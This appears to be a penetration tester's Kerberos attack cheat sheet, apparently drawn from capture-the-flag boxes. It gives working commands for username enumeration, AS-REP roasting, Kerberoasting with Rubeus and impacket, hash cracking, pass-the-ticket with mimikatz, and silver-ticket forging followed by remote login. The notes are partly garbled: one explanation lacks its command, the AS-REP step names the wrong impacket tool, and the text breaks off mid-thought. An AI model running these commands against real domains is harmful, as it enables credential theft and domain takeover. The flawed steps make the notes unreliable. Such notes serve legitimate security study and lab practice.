# No creds, brute-force usernames over Kerberos (port 88)
kerbrute userenum --dc <dc_ip> -d <domain> usernames.txt
# Alternate method using Nmap
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='domain.local',userdb=users.txt <target_ip>
Why: Identify valid usernames when you donāt have any credentials.
ASREPRoasting
# Users with DONTREQPREAUTH can be roasted without creds
sudo impacket-GetUserSPNs -request -dc-ip 10.10.10.191 test.com/dhawan
# Crack the hashes
hashcat -m 18200 hash.txt wordlist.txt
Why: Exploit accounts with no pre-auth to extract crackable hashes.
Kerberoasting
# Importing PowerView to memory
Import-Module .\PowerView.ps1
# Obtaining domain information
Get-NetDomain
# Querying user in the domain
Get-NetUser
# Querying user using select command
Get-NetUser | select cn
# Find SPN users
Get-NetUser -SPN
# Get-netuser svc_mssql
# If We see SPN here! which indicates kerberoasting!
# Performing Kerberoasting attack using Rubius
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
Rubeus.exe kerberoast
# Or use Impacket
Impacket-GetUserSPNs <domain>/<user>:<pass>@<dc_ip>
# sudo impacket-GetUserSPNs -request -dc-ip 10.10.10.191 test.com/'sql_svc'
# Crack
hashcat -m 13100 hash.txt wordlist.txt
Why: Request TGS tickets for SPNs and extract service account hashes.
Why: Use NTLM hash to request TGTālogin without knowing password.
Pass-the-Ticket
# Inject TGT or TGS ticket
kerberos::ptt <ticket.kirbi>
# kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
# spin up admin powershell and start mimikartz
privilege::debug
# Exporting Kerberos TGT/TGS to disk
sekurlsa::tickets /export
Why: Use harvested .kirbi ticket to impersonate users.
Silver Ticket
Using impacket
# First thing first, We'll need to finx Skewed clock before attemping to get silver ticke
sudo timedatectl set-ntp off
rdate -n [IP of Target]
Impacket-getST -spn WWW/dc.intelligence.htb -impersonate Administrator intelligence.htb/svc_int -hashes :51e4932f13712047027300f869d07ab6
# All you need is
- Sevice SPN
- Service credentials
- misconfigured service which can impersinate other user
- Can be verified by running bloodhound
Injecting Silver ticket into Env
export KRB5CCNAME=Administrator.ccache
echo "$ip dc.intelligence.htb" | sudo tee -a /etc/hosts
# Logging into machine using silver ticket from Kali
impacket-wmiexec -k -no-pass dc.intelligence.htb
-k Use Kerberos authentication. Grab credentials from ccache file (KRB5CCNAME) based on the target parameter
With this account added, we now need a python script to help us manage the delegation rights. Letās grab a copy of and use it to set msDS-AllowedToActOnBehalfOfOtherIdentity on our new machine account.